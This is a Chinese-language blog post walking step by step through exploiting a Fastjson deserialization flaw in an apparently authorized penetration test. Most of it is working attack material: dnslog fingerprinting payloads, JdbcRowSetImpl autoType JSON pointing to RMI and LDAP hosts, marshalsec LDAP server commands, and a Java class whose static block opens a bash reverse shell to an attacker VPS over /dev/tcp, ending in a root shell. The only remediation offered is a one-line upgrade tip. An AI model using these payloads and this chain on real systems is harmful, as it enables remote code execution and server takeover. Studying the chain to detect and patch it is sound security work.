Fastjson反序列化漏洞复现(实战案例)

漏洞介绍

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

前言

以下为有授权测试,未经授权,千万不要触碰法律。

拿到项目后找到了一个后台登录的页面,然后尝试弱口令(yyds)无果

抓包尝试是否存在注入,这里看到是json请求,就尝试去构造或者破坏原有的json请求,从返回的数据包中可以看到有fastjson字样,如果没有报错回显,就使用dnslog进行验证(后面会说到)。

尝试是否存在fastjson反序列化漏洞,构造以下payload看到了版本信息:

Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}

 网上查了一下此版本存在漏洞

使用dnslog验证

payload

{
 "a":{
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 },
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://dnslog.cn/zcc",
 "autoCommit":true
 }
}

 

验证成功,说明存在漏洞,这里也可以用到bp的插件,fastjson scan 一键检测,傻瓜操作,github自行搜索一下

反弹shell 

使用工具:GitHub - mbechler/marshalsec

vps下载完成后进入目录下进行编译

mvn clean package -DskipTests

(第一次自己进行编译,这个过程中遇到了很多问题,就不一一细说了,如果遇到问题的小伙伴多看报错信息,或者私信我也可以)大佬无视。

 编译完成生成了marshalsec-0.0.3-SNAPSHOT-all.jar

新开一个窗口监听端口

root目录下新建一个test.java文件,里面写入EXP源代码

// bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1    这里的ip是vps,以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;
 
public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

 javac编译生成test.class文件

 再新建一个窗口,启动http服务

python3 -m http.server 8445

 

本地访问一下,可以看到生成的class文件

vps启动LDAP服务,监听1389端口,并制定加载远程类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xx.xx.xx.xx:8445/#test" 1389

 

返回burp构造payload反弹shell,可以看到已经是root权限

{
 "a":{
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 },
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"ldap://vps:9999/xxx",
 "autoCommit":true
 }
}

fastjson指纹信息

A.抓包改为POST方式,花括号不闭合,返回包就会出现fastjson字样,不过这个可以屏蔽,就用其他办法
 
B.利用dnslog盲打
1.	利用java.net.Inet[4|6]Address
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
2.	利用java.net.InetSocketAddress
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
3.	利用java.net.URL
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
4.	其他变形
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog”}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

修复建议

升级到官方最新版本!

你可能感兴趣的:(web安全,服务器,java,运维)